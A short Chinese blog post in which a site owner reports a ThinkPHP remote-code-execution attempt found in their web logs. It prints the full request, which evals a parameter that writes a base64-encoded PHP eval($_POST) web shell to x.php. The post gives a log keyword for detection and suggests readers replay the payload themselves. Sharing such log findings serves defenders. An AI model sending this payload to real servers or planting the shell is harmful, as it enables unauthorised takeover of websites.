如果日志中发现这些记录则证明有人尝试入侵你的网站

?s=index/think\\app/invokefunction
&function=call_user_func_array
&vars[0]=assert
&vars[1][]=@eval($_GET[%27fuck%27]);
&fuck=fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz54YnNoZWxs));

 

这是在我的网站日志中发现的,看上去应该是基于php框架 phpThink 漏洞操作的,但我压根就没用thinkphp;

大家可以通过查找关键词,比如  搜索日志中包含 call_user_func_array   ,的行;

如果你不太确定有没有入侵成功,可以自己拿着参数试一下 .

这些人就不能找个班上吗 每天闲的非要到我这里秀存在感